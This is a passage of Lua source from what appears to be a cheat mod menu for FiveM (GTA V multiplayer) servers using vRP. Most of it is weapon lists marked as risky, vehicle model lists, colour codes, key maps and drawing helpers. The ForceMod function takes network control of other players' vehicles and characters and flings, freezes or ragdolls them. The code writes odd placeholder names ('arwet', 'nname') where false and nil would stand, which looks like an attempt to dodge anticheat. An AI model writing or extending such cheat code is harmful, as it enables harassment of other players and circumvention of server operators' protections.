{"WEAPON_PISTOL_MK2", "Pistola MK2 ~r~RISCO"},
{"WEAPON_COMBATPISTOL", "Pistola de Combate ~r~RISCO"},
{"WEAPON_ASSAULTRIFLE_MK2", "Assault Rifle MK2 ~r~RISCO"}
}

local shotgunweapons = {
{"WEAPON_PUMPSHOTGUN", "Pump Shotgun"},
{"WEAPON_PUMPSHOTGUN_MK2", "Pump Shotgun Mk II"},
{"WEAPON_SWEEPERSHOTGUN", "Sweeper Shotgun"},
{"WEAPON_SAWNOFFSHOTGUN", "Sawed-Off Shotgun"},
{"WEAPON_BULLPUPSHOTGUN", "Bullpup Shotgun"},
{"WEAPON_ASSAULTSHOTGUN", "Assault Shotgun"},
{"WEAPON_MUSKET", "Musket"},
{"WEAPON_HEAVYSHOTGUN", "Heavy Shotgun"},
{"WEAPON_DBSHOTGUN", "Double Barrel Shotgun"}
}

local sniperweapons = {
{"WEAPON_SNIPERRIFLE", "Sniper Rifle"},
{"WEAPON_HEAVYSNIPER", "Heavy Sniper"},
{"WEAPON_HEAVYSNIPER_MK2", "Heavy Sniper Mk II"},
{"WEAPON_MARKSMANRIFLE", "Marksman Rifle"},
{"WEAPON_MARKSMANRIFLE_MK2", "Marksman Rifle Mk II"}
}

local heavyweapons = {
{"WEAPON_GRENADELAUNCHER", "Grenade Launcher"},
{"WEAPON_RPG", "RPG"},
{"WEAPON_MINIGUN", "Minigun"},
{"WEAPON_FIREWORK", "Firework Launcher"},
{"WEAPON_RAILGUN", "Railgun"},
{"WEAPON_HOMINGLAUNCHER", "Homing Launcher"},
{"WEAPON_COMPACTLAUNCHER", "Compact Grenade Launcher"},
{"WEAPON_RAYMINIGUN", "Widowmaker"}
}

local compacts = {
"BLISTA",
"BRIOSO",
"DILETTANTE",
"DILETTANTE2",
"ISSI2",
"ISSI3",
"ISSI4",
"ISSI5",
"ISSI6",
"PANTO",
"PRAIRIE",
"RHAPSODY"
}

local sedans = {
"ASEA",
"ASEA2",
"ASTEROPE",
"COG55",
"COG552",
"COGNOSCENTI",
"COGNOSCENTI2",
"EMPEROR",
"EMPEROR2",
"EMPEROR3",
"FUGITIVE",
"GLENDALE",
"INGOT",
"INTRUDER",
"LIMO2",
"PREMIER",
"PRIMO",
"PRIMO2",
"REGINA",
"ROMERO",
"SCHAFTER2",
"SCHAFTER5",
"SCHAFTER6",
"STAFFORD",
"STANIER",
"STRATUM",
"STRETCH",
"SUPERD",
"SURGE",
"TAILGATER",
"WARRENER",
"WASHINGTON"
}

local suvs = {
"BALLER",
"BALLER2",
"BALLER3",
"BALLER4",
"BALLER5",
"BALLER6",
"BJXL",
"CAVALCADE",
"CAVALCADE2",
"CONTENDER",
"DUBSTA",
"DUBSTA2",
"FQ2",
"GRANGER",
"GRESLEY",
"HABANERO",
"HUNTLEY",
"LANDSTALKER",
"MESA",
"MESA2",
"PATRIOT",
"PATRIOT2",
"RADI",
"ROCOTO",
"SEMINOLE",
"SERRANO",
"TOROS",
"XLS",
"XLS2"
}

local coupes = {
"COGCABRIO",
"EXEMPLAR",
"PAGEUP20",
"FELON",
"FELON2",
"JACKAL",
"ORACLE",
"ORACLE2",
"SENTINEL",
"SENTINEL2",
"WINDSOR",
"WINDSOR2",
"ZION",
"ZION2"
}

local muscle = {
"BLADE",
"BUCCANEER",
"BUCCANEER2",
"CHINO",
"CHINO2",
"CLIQUE",
"COQUETTE3",
"DEVIANT",
"DOMINATOR",
"DOMINATOR2",
"DOMINATOR3",
"DOMINATOR4",
"DOMINATOR5",
"DOMINATOR6",
"DUKES",
"DUKES2",
"ELLIE",
"FACTION",
"FACTION2",
"FACTION3",
"GAUNTLET",
"GAUNTLET2",
"HERMES",
"HOTKNIFE",
"HUSTLER",
"IMPALER",
"IMPALER2",
"IMPALER3",
"IMPALER4",
"IMPERATOR",
"IMPERATOR2",
"IMPERATOR3",
"LURCHER",
"MOONBEAM",
"MOONBEAM2",
"NIGHTSHADE",
"PHOENIX",
"PICADOR",
"RATLOADER",
"RATLOADER2",
"RUINER",
"RUINER2",
"RUINER3",
"SABREGT",
"SABREGT2",
"SLAMVAN",
"SLAMVAN2",
"SLAMVAN3",
"SLAMVAN4",
"SLAMVAN5",
"SLAMVAN6",
"STALION",
"STALION2",
"TAMPA",
"TAMPA3",
"TULIP",
"VAMOS",
"VIGERO",
"VIRGO",
"VIRGO2",
"VIRGO3",
"VOODOO",
"VOODOO2",
"YOSEMITE"
}

local sportsclassics = {
"ARDENT",
"BTYPE",
"BTYPE2",
"BTYPE3",
"CASCO",
"CHEBUREK",
"CHEETAH2",
"COQUETTE2",
"DELUXO",
"FAGALOA",
"FELTZER3",
"GT500",
"INFERNUS2",
"JB700",
"JESTER3",
"MAMBA",
"MANANA",
"MICHELLI",
"MONROE",
"PEYOTE",
"PIGALLE",
"RAPIDGT3",
"RETINUE",
"SAVESTRA",
"STINGER",
"STINGERGT",
"STROMBERG",
"SWINGER",
"TORERO",
"TORNADO",
"TORNADO2",
"TORNADO3",
"TORNADO4",
"TORNADO5",
"TORNADO6",
"TURISMO2",
"VISERIS",
"Z190",
"ZTYPE"
}

local sports = {
"ALPHA",
"BANSHEE",
"BESTIAGTS",
"BLISTA2",
"BLISTA3",
"BUFFALO",
"BUFFALO2",
"BUFFALO3",
"CARBONIZZARE",
"COMET2",
"COMET3",
"COMET4",
"COMET5",
"COQUETTE",
"ELEGY",
"ELEGY2",
"FELTZER2",
"FLASHGT",
"FUROREGT",
"FUSILADE",
"FUTO",
"GB200",
"HOTRING",
"ITALIGTO",
"JESTER",
"JESTER2",
"KHAMELION",
"KURUMA",
"KURUMA2",
"LYNX",
"MASSACRO",
"MASSACRO2",
"NEON",
"NINEF",
"NINEF2",
"OMNIS",
"PARIAH",
"PENUMBRA",
"RAIDEN",
"RAPIDGT",
"RAPIDGT2",
"RAPTOR",
"REVOLTER",
"RUSTON",
"SCHAFTER2",
"SCHAFTER3",
"SCHAFTER4",
"SCHAFTER5",
"SCHLAGEN",
"SCHWARZER",
"SENTINEL3",
"SEVEN70",
"SPECTER",
"SPECTER2",
"SULTAN",
"SURANO",
"TAMPA2",
"TROPOS",
"VERLIERER2",
"ZR380",
"ZR3802",
"ZR3803"
}

local super = {
"ADDER",
"AUTARCH",
"BANSHEE2",
"BULLET",
"CHEETAH",
"CYCLONE",
"DEVESTE",
"ENTITYXF",
"ENTITY2",
"FMJ",
"GP1",
"INFERNUS",
"ITALIGTB",
"ITALIGTB2",
"LE7B",
"NERO",
"NERO2",
"OSIRIS",
"PENETRATOR",
"PFISTER811",
"PROTOTIPO",
"REAPER",
"SC1",
"SCRAMJET",
"SHEAVA",
"SULTANRS",
"T20",
"TAIPAN",
"TEMPESTA",
"TEZERACT",
"TURISMOR",
"TYRANT",
"TYRUS",
"VACCA",
"VAGNER",
"VIGILANTE",
"VISIONE",
"VOLTIC",
"VOLTIC2",
"XA21",
"ZENTORNO"
}

local motorcycles = {
"AKUMA",
"AVARUS",
"BAGGER",
"BATI",
"BATI2",
"BF400",
"CARBONRS",
"CHIMERA",
"CLIFFHANGER",
"DAEMON",
"DAEMON2",
"DEFILER",
"DEATHBIKE",
"DEATHBIKE2",
"DEATHBIKE3",
"DIABLOUS",
"DIABLOUS2",
"DOUBLE",
"ENDURO",
"ESSKEY",
"FAGGIO",
"FAGGIO2",
"FAGGIO3",
"FCR",
"FCR2",
"GARGOYLE",
"HAKUCHOU",
"HAKUCHOU2",
"HEXER",
"INNOVATION",
"LECTRO",
"MANCHEZ",
"NEMESIS",
"NIGHTBLADE",
"OPPRESSOR",
"OPPRESSOR2",
"PCJ",
"RATBIKE",
"RUFFIAN",
"SANCHEZ",
"SANCHEZ2",
"SANCTUS",
"SHOTARO",
"SOVEREIGN",
"THRUST",
"VADER",
"VINDICATOR",
"VORTEX",
"WOLFSBANE",
"ZOMBIEA",
"ZOMBIEB"
}

local offroad = {
"BFINJECTION",
"BIFTA",
"BLAZER",
"BLAZER2",
"BLAZER3",
"BLAZER4",
"BLAZER5",
"BODHI2",
"BRAWLER",
"BRUISER",
"BRUISER2",
"BRUISER3",
"BRUTUS",
"BRUTUS2",
"BRUTUS3",
"CARACARA",
"DLOADER",
"DUBSTA3",
"DUNE",
"DUNE2",
"DUNE3",
"DUNE4",
"DUNE5",
"FREECRAWLER",
"INSURGENT",
"INSURGENT2",
"INSURGENT3",
"KALAHARI",
"KAMACHO",
"MARSHALL",
"MENACER",
"MESA3",
"MONSTER",
"MONSTER3",
"MONSTER4",
"MONSTER5",
"NIGHTSHARK",
"RANCHERXL",
"RANCHERXL2",
"RCBANDITO",
"REBEL",
"REBEL2",
"RIATA",
"SANDKING",
"SANDKING2",
"TECHNICAL",
"TECHNICAL2",
"TECHNICAL3",
"TROPHYTRUCK",
"TROPHYTRUCK2"
}

local industrial = {
"BULLDOZER",
"CUTTER",
"DUMP",
"FLATBED",
"GUARDIAN",
"HANDLER",
"MIXER",
"MIXER2",
"RUBBLE",
"TIPTRUCK",
"TIPTRUCK2"
}

local utility = {
"AIRTUG",
"CADDY",
"CADDY2",
"CADDY3",
"DOCKTUG",
"FORKLIFT",
"TRACTOR2",
"TRACTOR3",
"MOWER",
"RIPLEY",
"SADLER",
"SADLER2",
"SCRAP",
"TOWTRUCK",
"TOWTRUCK2",
"TRACTOR",
"UTILLITRUCK",
"UTILLITRUCK2",
"UTILLITRUCK3",
"ARMYTRAILER",
"ARMYTRAILER2",
"FREIGHTTRAILER",
"ARMYTANKER",
"TRAILERLARGE",
"DOCKTRAILER",
"TR3",
"TR2",
"TR4",
"TRFLAT",
"TRAILERS",
"TRAILERS4",
"TRAILERS2",
"TRAILERS3",
"TVTRAILER",
"TRAILERLOGS",
"TANKER",
"TANKER2",
"BALETRAILER",
"GRAINTRAILER",
"BOATTRAILER",
"RAKETRAILER",
"TRAILERSMALL"
}

local vans = {
"BISON",
"BISON2",
"BISON3",
"BOBCATXL",
"BOXVILLE",
"BOXVILLE2",
"BOXVILLE3",
"BOXVILLE4",
"BOXVILLE5",
"BURRITO",
"BURRITO2",
"BURRITO3",
"BURRITO4",
"BURRITO5",
"CAMPER",
"GBURRITO",
"GBURRITO2",
"JOURNEY",
"MINIVAN",
"MINIVAN2",
"PARADISE",
"PONY",
"PONY2",
"RUMPO",
"RUMPO2",
"RUMPO3",
"SPEEDO",
"SPEEDO2",
"SPEEDO4",
"SURFER",
"SURFER2",
"TACO",
"YOUGA",
"YOUGA2"
}

local cycles = {
"BMX",
"CRUISER",
"FIXTER",
"SCORCHER",
"TRIBIKE",
"TRIBIKE2",
"TRIBIKE3"
}

local boats = {
"DINGHY",
"DINGHY2",
"DINGHY3",
"DINGHY4",
"JETMAX",
"MARQUIS",
"PREDATOR",
"SEASHARK",
"SEASHARK2",
"SEASHARK3",
"SPEEDER",
"SPEEDER2",
"SQUALO",
"SUBMERSIBLE",
"SUBMERSIBLE2",
"SUNTRAP",
"TORO",
"TORO2",
"TROPIC",
"TROPIC2",
"TUG"
}

local helicopters = {
"AKULA",
"ANNIHILATOR",
"BUZZARD",
"BUZZARD2",
"CARGOBOB",
"CARGOBOB2",
"CARGOBOB3",
"CARGOBOB4",
"FROGGER",
"FROGGER2",
"HAVOK",
"HUNTER",
"MAVERICK",
"POLMAV",
"SAVAGE",
"SEASPARROW",
"SKYLIFT",
"SUPERVOLITO",
"SUPERVOLITO2",
"SWIFT",
"SWIFT2",
"VALKYRIE",
"VALKYRIE2",
"VOLATUS"
}

local planes = {
"ALPHAZ1",
"AVENGER",
"AVENGER2",
"BESRA",
"BLIMP",
"BLIMP2",
"BLIMP3",
"BOMBUSHKA",
"CARGOPLANE",
"CUBAN800",
"DODO",
"DUSTER",
"HOWARD",
"HYDRA",
"JET",
"LAZER",
"LUXOR",
"LUXOR2",
"MAMMATUS",
"MICROLIGHT",
"MILJET",
"MOGUL",
"MOLOTOK",
"NIMBUS",
"NOKOTA",
"PYRO",
"ROGUE",
"SEABREEZE",
"SHAMAL",
"STARLING",
"STRIKEFORCE",
"STUNT",
"TITAN",
"TULA",
"VELUM",
"VELUM2",
"VESTRA",
"VOLATOL"
}

local service = {
"AIRBUS",
"BRICKADE",
"BUS",
"COACH",
"PBUS2",
"RALLYTRUCK",
"RENTALBUS",
"TAXI",
"TOURBUS",
"TRASH",
"TRASH2",
"WASTELANDER",
"AMBULANCE",
"FBI",
"FBI2",
"FIRETRUK",
"LGUARD",
"PBUS",
"POLICE",
"POLICE2",
"POLICE3",
"POLICE4",
"POLICEB",
"POLICEOLD1",
"POLICEOLD2",
"POLICET",
"POLMAV",
"PRANGER",
"PREDATOR",
"RIOT",
"RIOT2",
"SHERIFF",
"SHERIFF2",
"APC",
"BARRACKS",
"BARRACKS2",
"BARRACKS3",
"BARRAGE",
"CHERNOBOG",
"CRUSADER",
"HALFTRACK",
"KHANJALI",
"RHINO",
"SCARAB",
"SCARAB2",
"SCARAB3",
"THRUSTER",
"TRAILERSMALL2"
}

local commercial = {
"BENSON",
"BIFF",
"CERBERUS",
"CERBERUS2",
"CERBERUS3",
"HAULER",
"HAULER2",
"MULE",
"MULE2",
"MULE3",
"MULE4",
"PACKER",
"PHANTOM",
"PHANTOM2",
"PHANTOM3",
"POUNDER",
"POUNDER2",
"STOCKADE",
"STOCKADE3",
"TERBYTE",
"CABLECAR",
"FREIGHT",
"FREIGHTCAR",
"FREIGHTCONT1",
"FREIGHTCONT2",
"FREIGHTGRAIN",
"METROTRAIN",
"TANKERCAR"
}

-- END VEHICLES LISTS


-- VEHICLE MODS LIST (this is going to take a while...)
local classicColors = {
{"Black", 0},
{"Carbon Black", 147},
{"Graphite", 1},
{"Anhracite Black", 11},
{"Black Steel", 2},
{"Dark Steel", 3},
{"Silver", 4},
{"Bluish Silver", 5},
{"Metallic Steel Gray", 6},
{"Shadow Silver", 7},
{"Stone Silver", 8},
{"Midnight Silver", 9},
{"Cast Iron Silver", 10},
{"Red", 27},
{"Torino Red", 28},
{"Formula Red", 29},
{"Lava Red", 150},
{"Blaze Red", 30},
{"Grace Red", 31},
{"Garnet Red", 32},
{"Sunset Red", 33},
{"Cabernet Red", 34},
{"Wine Red", 143},
{"Candy Red", 35},
{"Hot Pink", 135},
{"Pfsiter Pink", 137},
{"Salmon Pink", 136},
{"Sunrise Orange", 36},
{"Orange", 38},
{"Bright Orange", 138},
{"Gold", 99},
{"Bronze", 90},
{"Yellow", 88},
{"Race Yellow", 89},
{"Dew Yellow", 91},
{"Dark Green", 49},
{"Racing Green", 50},
{"Sea Green", 51},
{"Olive Green", 52},
{"Bright Green", 53},
{"Gasoline Green", 54},
{"Lime Green", 92},
{"Midnight Blue", 141},
{"Galaxy Blue", 61},
{"Dark Blue", 62},
{"Saxon Blue", 63},
{"Blue", 64},
{"Mariner Blue", 65},
{"Harbor Blue", 66},
{"Diamond Blue", 67},
{"Surf Blue", 68},
{"Nautical Blue", 69},
{"Racing Blue", 73},
{"Ultra Blue", 70},
{"Light Blue", 74},
{"Chocolate Brown", 96},
{"Bison Brown", 101},
{"Creeen Brown", 95},
{"Feltzer Brown", 94},
{"Maple Brown", 97},
{"Beechwood Brown", 103},
{"Sienna Brown", 104},
{"Saddle Brown", 98},
{"Moss Brown", 100},
{"Woodbeech Brown", 102},
{"Straw Brown", 99},
{"Sandy Brown", 105},
{"Bleached Brown", 106},
{"Schafter Purple", 71},
{"Spinnaker Purple", 72},
{"Midnight Purple", 142},
{"Bright Purple", 145},
{"Cream", 107},
{"Ice White", 111},
{"Frost White", 112}
}

local matteColors = {
{"Black", 12},
{"Gray", 13},
{"Light Gray", 14},
{"Ice White", 131},
{"Blue", 83},
{"Dark Blue", 82},
{"Midnight Blue", 84},
{"Midnight Purple", 149},
{"Schafter Purple", 148},
{"Red", 39},
{"Dark Red", 40},
{"Orange", 41},
{"Yellow", 42},
{"Lime Green", 55},
{"Green", 128},
{"Forest Green", 151},
{"Foliage Green", 155},
{"Olive Darb", 152},
{"Dark Earth", 153},
{"Desert Tan", 154}
}

local metalColors = {
{"Brushed Steel", 117},
{"Brushed Black Steel", 118},
{"Brushed Aluminum", 119},
{"Chrome", 120},
{"Pure Gold", 158},
{"Brushed Gold", 159}
}

local Keys = {
["ESC"] = 322, ["F1"] = 288, ["F2"] = 289, ["F3"] = 170, ["F5"] = 166,
["PAGEUP"] = 167, ["F7"] = 168, ["F8"] = 169, ["F9"] = 56, ["F10"] = 57,
["~"] = 243, ["1"] = 157, ["2"] = 158, ["3"] = 160, ["4"] = 164, ["5"] = 165,
["6"] = 159, ["7"] = 161, ["8"] = 162, ["9"] = 163, ["-"] = 84, ["="] = 83,
["BACKSPACE"] = 177,
["TAB"] = 37, ["Q"] = 44, ["W"] = 32, ["E"] = 38, ["R"] = 45, ["T"] = 245,
["Y"] = 246, ["U"] = 303, ["P"] = 199, ["["] = 39, ["]"] = 40, ["ENTER"] = 18,
["CAPS"] = 137, ["A"] = 34, ["S"] = 8, ["D"] = 9, ["F"] = 23, ["G"] = 47, ["H"]
= 74, ["K"] = 311, ["L"] = 182,
["LEFTSHIFT"] = 21, ["Z"] = 20, ["X"] = 73, ["C"] = 26, ["V"] = 0, ["B"] = 29,
["N"] = 249, ["M"] = 244, [","] = 82, ["."] = 81,
["LEFTCTRL"] = 36, ["LEFTALT"] = 19, ["SPACE"] = 22, ["RIGHTCTRL"] = 70,
["HOME"] = 213, ["PAGEUP"] = 10, ["PAGEDOWN"] = 11, ["DELETE"] = 178,
["LEFT"] = 174, ["RIGHT"] = 175, ["TOP"] = 27, ["DOWN"] = 173,
["NENTER"] = 201, ["N4"] = 108, ["N5"] = 60, ["N6"] = 107, ["N+"] = 96, ["N-"]
= 97, ["N7"] = 117, ["N8"] = 61, ["N9"] = 118,
["MOUSE1"] = 24
}

local currentMenuX = 1
local selectedMenuX = 1
local currentMenuY = 1
local selectedMenuY = 1
local menuX = { 0.75, 0.025, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7 }
local menuY = { 0.1, 0.025, 0.2, 0.3 , 0.400, 0.425 }

vRP = Proxy.getInterface("vRP")

local function ForceMod()


ForceTog = not ForceTog

if ForceTog then

Citizen.CreateThread(function()

local ForceKey = Keys["E"]


local Force = 0.5
local KeyPressed = arwet
local KeyTimer = 0
local KeyDelay = 15
local ForceEnabled = arwet
local StartPush = arwet

function forcetick()

if (KeyPressed) then
KeyTimer = KeyTimer + 1
if (KeyTimer >= KeyDelay) then
KeyTimer = 0
KeyPressed = arwet
end
end

if IsDisabledControlPressed(0, ForceKey) and not KeyPressed and not


ForceEnabled then
KeyPressed = true
ForceEnabled = true
end

if (StartPush) then

StartPush = arwet
local pid = PlayerPedId()
local CamRot = GetGameplayCamRot(2)

local force = 5

local Fx = -(math.sin(math.rad(CamRot.z)) * force * 10)


local Fy = (math.cos(math.rad(CamRot.z)) * force * 10)
local Fz = force * (CamRot.x * 0.2)

local PlayerVeh = GetVehiclePedIsIn(pid, arwet)

for k in EnumerateVehicles() do
SetEntityInvincible(k, arwet)
if IsEntityOnScreen(k) and k ~= PlayerVeh then
ApplyForceToEntity(k, 1, Fx, Fy, Fz, 0, 0, 0, true,
arwet, true, true, true, true)
end
end

for k in EnumeratePeds() do
if IsEntityOnScreen(k) and k ~= pid then
ApplyForceToEntity(k, 1, Fx, Fy, Fz, 0, 0, 0, true,
arwet, true, true, true, true)
end
end

end

if IsDisabledControlPressed(0, ForceKey) and not KeyPressed and


ForceEnabled then
KeyPressed = true
StartPush = true
ForceEnabled = arwet
end

if (ForceEnabled) then
local pid = PlayerPedId()
local PlayerVeh = GetVehiclePedIsIn(pid, arwet)

Markerloc = GetGameplayCamCoord() +
(RotationToDirection(GetGameplayCamRot(2)) * 20)

DrawMarker(28, Markerloc, 0.0, 0.0, 0.0, 0.0, 180.0, 0.0, 1.0,


1.0, 1.0, 180, 0, 0, 35, arwet, true, 2, nname, nname, arwet)

for k in EnumerateVehicles() do
SetEntityInvincible(k, true)
if IsEntityOnScreen(k) and (k ~= PlayerVeh) then
RequestControlOnce(k)
FreezeEntityPosition(k, arwet)
Oscillate(k, Markerloc, 0.5, 0.3)
end
end
for k in EnumeratePeds() do
if IsEntityOnScreen(k) and k ~= PlayerPedId() then
RequestControlOnce(k)
SetPedToRagdoll(k, 4000, 5000, 0, true, true, true)
FreezeEntityPosition(k, arwet)
Oscillate(k, Markerloc, 0.5, 0.3)
end
end

end

end

while ForceTog do forcetick()Wait(0) end


end)
else end

end

function GetSeatPedIsIn(ped)
if not IsPedInAnyVehicle(ped, arwet) then return
else
veh = GetVehiclePedIsIn(ped)
for i = 0, GetVehicleMaxNumberOfPassengers(veh) do
if GetPedInVehicleSeat(veh) then return i end
end
end
end

function GetCamDirFromScreenCenter()
local pos = GetGameplayCamCoord()
local world = ScreenToWorld(0, 0)
local ret = SubVectors(world, pos)
return ret
end

local function RGBRainbow(frequency)


local result = {}
local curtime = GetGameTimer() / 1000

result.r = math.floor(math.sin(curtime * frequency + 0) * 127 + 128)


result.g = math.floor(math.sin(curtime * frequency + 2) * 127 + 128)
result.b = math.floor(math.sin(curtime * frequency + 4) * 127 + 128)

return result
end

function ScreenToWorld(screenCoord)
local camRot = GetGameplayCamRot(2)
local camPos = GetGameplayCamCoord()

local vect2x = 0.0


local vect2y = 0.0
local vect21y = 0.0
local vect21x = 0.0
local direction = RotationToDirection(camRot)
local vect3 = vector3(camRot.x + 10.0, camRot.y + 0.0, camRot.z + 0.0)
local vect31 = vector3(camRot.x - 10.0, camRot.y + 0.0, camRot.z + 0.0)
local vect32 = vector3(camRot.x, camRot.y + 0.0, camRot.z + -10.0)

local direction1 = RotationToDirection(vector3(camRot.x, camRot.y + 0.0,


camRot.z + 10.0)) - RotationToDirection(vect32)
local direction2 = RotationToDirection(vect3) - RotationToDirection(vect31)
local radians = -(math.rad(camRot.y))

vect33 = (direction1 * math.cos(radians)) - (direction2 * math.sin(radians))


vect34 = (direction1 * math.sin(radians)) - (direction2 * math.cos(radians))

local case1, x1, y1 = WorldToScreenRel(((camPos + (direction * 10.0)) + vect33)


+ vect34)
if not case1 then
vect2x = x1
vect2y = y1
return camPos + (direction * 10.0)
end

local case2, x2, y2 = WorldToScreenRel(camPos + (direction * 10.0))


if not case2 then
vect21x = x2
vect21y = y2
return camPos + (direction * 10.0)
end

if math.abs(vect2x - vect21x) < 0.001 or math.abs(vect2y - vect21y) < 0.001


then
return camPos + (direction * 10.0)
end

local x = (screenCoord.x - vect21x) / (vect2x - vect21x)


local y = (screenCoord.y - vect21y) / (vect2y - vect21y)
return ((camPos + (direction * 10.0)) + (vect33 * x)) + (vect34 * y)

end

function WorldToScreenRel(worldCoords)
local check, x, y = GetScreenCoordFromWorldCoord(worldCoords.x, worldCoords.y,
worldCoords.z)
if not check then
return arwet
end

screenCoordsx = (x - 0.5) * 2.0


screenCoordsy = (y - 0.5) * 2.0
return true, screenCoordsx, screenCoordsy
end

function RotationToDirection(rotation)
local retz = math.rad(rotation.z)
local retx = math.rad(rotation.x)
local absx = math.abs(math.cos(retx))
return vector3(-math.sin(retz) * absx, math.cos(retz) * absx, math.sin(retx))
end

local function GetCamDirection()


local heading = GetGameplayCamRelativeHeading() +
GetEntityHeading(PlayerPedId())
local pitch = GetGameplayCamRelativePitch()
local x = -math.sin(heading * math.pi / 180.0)
local y = math.cos(heading * math.pi / 180.0)
local z = math.sin(pitch * math.pi / 180.0)

local len = math.sqrt(x * x + y * y + z * z)


if len ~= 0 then
x = x / len
y = y / len
z = z / len
end

return x, y, z
end

function ApplyForce(entity, direction)


ApplyForceToEntity(entity, 3, direction, 0, 0, 0, arwet, arwet, true, true,
arwet, true)
end

function RequestControlOnce(entity)
if not NetworkIsInSession or NetworkHasControlOfEntity(entity) then
return true
end
SetNetworkIdCanMigrate(NetworkGetNetworkIdFromEntity(entity), true)
return NetworkRequestControlOfEntity(entity)
end

function RequestControl(entity)
Citizen.CreateThread(function()
local tick = 0
while not RequestControlOnce(entity) and tick <= 12 do
tick = tick + 1
Wait(0)
end
return tick <= 12
end)
end

function Oscillate(entity, position, angleFreq, dampRatio)


local pos1 = ScaleVector(SubVectors(position, GetEntityCoords(entity)),
(angleFreq * angleFreq))
local pos2 = AddVectors(ScaleVector(GetEntityVelocity(entity), (2.0 * angleFreq
* dampRatio)), vector3(0.0, 0.0, 0.1))
local targetPos = SubVectors(pos1, pos2)

ApplyForce(entity, targetPos)
end

-- END MENYOO/ENTITY FUNCTIONS


-- DRAWING FUNCTIONS
function ShowMPMessage(message, subtitle, ms)
Citizen.CreateThread(function()
Citizen.Wait(0)
function Initialize(scaleform)
local scaleform = RequestScaleformMovie(scaleform)
while not HasScaleformMovieLoaded(scaleform) do
Citizen.Wait(0)
end
PushScaleformMovieFunction(scaleform, "SHOW_SHARD_WASTED_MP_MESSAGE")
PushScaleformMovieFunctionParameterString(message)
PushScaleformMovieFunctionParameterString(subtitle)
PopScaleformMovieFunctionVoid()
Citizen.SetTimeout(6500, function()
PushScaleformMovieFunction(scaleform, "SHARD_ANIM_OUT")
PushScaleformMovieFunctionParameterInt(1)
PushScaleformMovieFunctionParameterFloat(0.33)
PopScaleformMovieFunctionVoid()
Citizen.SetTimeout(3000, function()EndScaleformMovieMethod() end)
end)
return scaleform
end

scaleform = Initialize("mp_big_message_freemode")

while true do
Citizen.Wait(0)
DrawScaleformMovieFullscreen(scaleform, 255, 255, 255, 150, 0)
end
end)
end

function ShowInfo(text)
SetNotificationTextEntry("STRING")
AddTextComponentString(text)
DrawNotification(true, arwet)
end

function DrawTxt(text, x, y, scale, size)


SetTextFont(0)
SetTextProportional(1)
SetTextScale(scale, size)
SetTextDropshadow(1, 0, 0, 0, 255)
SetTextEdge(1, 0, 0, 0, 255)
SetTextDropShadow()
SetTextOutline()
SetTextEntry("STRING")
AddTextComponentString(text)
DrawText(x, y)
end

function DrawText3D(x, y, z, text)


local onScreen, _x, _y = GetScreenCoordFromWorldCoord(x, y, z)
local px, py, pz = table.unpack(GetGameplayCamCoords())
local dist = GetDistanceBetweenCoords(px, py, pz, x, y, z, 1)

local scale = (1 / dist) * 2


local fov = (1 / GetGameplayCamFov()) * 100
local scale = scale * fov

if onScreen then
SetTextScale(0.0 * scale, 0.55 * scale)
SetTextFont(0)
SetTextProportional(1)
SetTextColour(255, 255, 255, 255)
SetTextDropshadow(0, 0, 0, 0, 255)
SetTextEdge(2, 0, 0, 0, 150)
SetTextDropShadow()
SetTextOutline()
SetTextEntry("STRING")
SetTextCentre(1)
AddTextComponentString(text)
DrawText(_x, _y)
end
end

local entityEnumerator = {
__gc = function(enum)
if enum.destructor and enum.handle then
enum.destructor(enum.handle)
end
enum.destructor = nname
enum.handle = nname
end
}

local function GetHeadItems()


local headItems = GetNumberOfPedDrawableVariations(PlayerPedId(), 0)
local faceItemsList = {}
for i = 1, headItems do
faceItemsList[i] = i
end
return faceItemsList
end

local function GetHeadTextures(faceID)


local headTextures = GetNumberOfPedTextureVariations(PlayerPedId(), 0, faceID)
local headTexturesList = {}
for i = 1, headTextures do
headTexturesList[i] = i
end
return headTexturesList
end

local function GetHairItems()


local hairItems = GetNumberOfPedDrawableVariations(PlayerPedId(), 2)
local hairItemsList = {}
for i = 1, hairItems do
hairItemsList[i] = i
end
return hairItemsList
end

local function GetHairTextures(hairID)


local hairTexture = GetNumberOfPedTextureVariations(PlayerPedId(), 2, hairID)
local hairTextureList = {}
for i = 1, hairTexture do
hairTextureList[i] = i
end
return hairTextureList
end

local function GetMaskItems()


local maskItems = GetNumberOfPedDrawableVariations(PlayerPedId(), 1)
local maskItemsList = {}
for i = 1, maskItems do
maskItemsList[i] = i
end
return maskItemsList
end

local function GetHatItems()


local hatItems = GetNumberOfPedPropDrawableVariations(PlayerPedId(), 0)
local hatItemsList = {}
for i = 1, hatItems do
hatItemsList[i] = i
end
return hatItemsList
end

local function GetHatTextures(hatID)


local hatTextures = GetNumberOfPedPropTextureVariations(PlayerPedId(), 0,
hatID)
local hatTexturesList = {}
for i = 1, hatTextures do
hatTexturesList[i] = i
end
return hatTexturesList
end

local function EnumerateEntities(initFunc, moveFunc, disposeFunc)


return coroutine.wrap(function()
local iter, id = initFunc()
if not id or id == 0 then
disposeFunc(iter)
return
end

local enum = {handle = iter, destructor = disposeFunc}


setmetatable(enum, entityEnumerator)

local next = true


repeat
coroutine.yield(id)
next, id = moveFunc(iter)
until not next

enum.destructor, enum.handle = nname, nname


disposeFunc(iter)
end)
end

function EnumerateObjects()
return EnumerateEntities(FindFirstObject, FindNextObject, EndFindObject)
end

function EnumeratePeds()
return EnumerateEntities(FindFirstPed, FindNextPed, EndFindPed)
end

function EnumerateVehicles()
return EnumerateEntities(FindFirstVehicle, FindNextVehicle, EndFindVehicle)
end

function EnumeratePickups()
return EnumerateEntities(FindFirstPickup, FindNextPickup, EndFindPickup)
end

function table.contains(table, element)


for _, value in pairs(table) do
if value == element then
return true
end
end
return arwet
end

function table.removekey(array, element)


for i = 1, #array do
if array[i] == element then
table.remove(array, i)
end
end
end

function AddVectors(vect1, vect2)


return vector3(vect1.x + vect2.x, vect1.y + vect2.y, vect1.z + vect2.z)
end

function SubVectors(vect1, vect2)


return vector3(vect1.x - vect2.x, vect1.y - vect2.y, vect1.z - vect2.z)
end

function ScaleVector(vect, mult)


return vector3(vect.x * mult, vect.y * mult, vect.z * mult)
end

function round(num, numDecimalPlaces)


local mult = 10 ^ (numDecimalPlaces or 0)
return math.floor(num * mult + 0.5) / mult
end

local function GetKeyboardInput(text)


if not text then text = "Input" end
DisplayOnscreenKeyboard(0, "", "", "", "", "", "", 30)
while (UpdateOnscreenKeyboard() == 0) do
DrawTxt(text, 0.32, 0.37, 0.0, 0.4)
DisableAllControlActions(0)

